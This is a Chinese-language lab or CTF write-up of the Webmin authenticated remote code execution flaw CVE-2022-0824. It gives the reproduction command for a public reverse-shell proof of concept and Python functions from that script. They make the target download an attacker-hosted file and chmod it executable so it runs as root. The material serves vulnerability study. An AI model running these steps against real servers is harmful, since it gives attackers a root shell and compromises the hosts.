目录
一、漏洞介绍
Webmin是一套基于Web的用于类Unix操作系统的系统管理工具,提供图形化界面管理工具。漏洞源于Webmin的某些功能模块未能正确验证和过滤用户输入,导致攻击者可通过参数注入恶意命令。
二、影响版本
Webmin < 1.990
三、漏洞复现
POC:https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell
┌──(root㉿kali)-[~/POC/Webmin/CVE-2022-0824]
└─# python3 Webmin-revshell.py -t http://192.168.57.143:8749 -c root:password -LS 192.168.57.128:9090 -L 192.168.57.128 -P 5555
(1) -t 目标机器
(2)-c 账号密码
(3)-LS 攻击机提供payload的端口
(4)-L 攻击机
(5)-P 监听端口
成功getshell
找到flag
四、漏洞原理
以下原理的学习参考了 deepseek 以及POC中的代码
主要步骤为:
1. 先通过 session_login.cgi 进行登录,获取Webmin的访问权限
2. 利用http_download.cgi 模块从攻击者控制的服务器下载包含恶意代码的文件
3. 使用文件管理器中的 chmod.cgi 模块更改下载文件的权限
1. 获取Webmin的访问权限
拥有账号密码,只有用户通过认证后才能进行后面的操作。
2. 不安全的远程文件下载
def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}
data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}
r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")
/extensions/file-manager/http_download.cgi 接口允许用户通过link参数指定远程文件的URL,并通过path参数指定下载到服务器的路径。这个时候可以在kali上开启http服务,让其下载反弹shell
3. 更改下载文件的权限
def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = {"Referer": self.target + "/filemin/?xnavigation=1"}
data = {"name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path}
r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")
chmod.cgi 未检查用户是否拥有修改目标文件权限的合法权利。Webmin默认以root权限执行,导致攻击者可通过修改文件权限执行任意代码;然后,放置在Webmin目录下的CGI文件会被自动解析执行。
使用wireshark抓包可以更清晰地看到这个过程: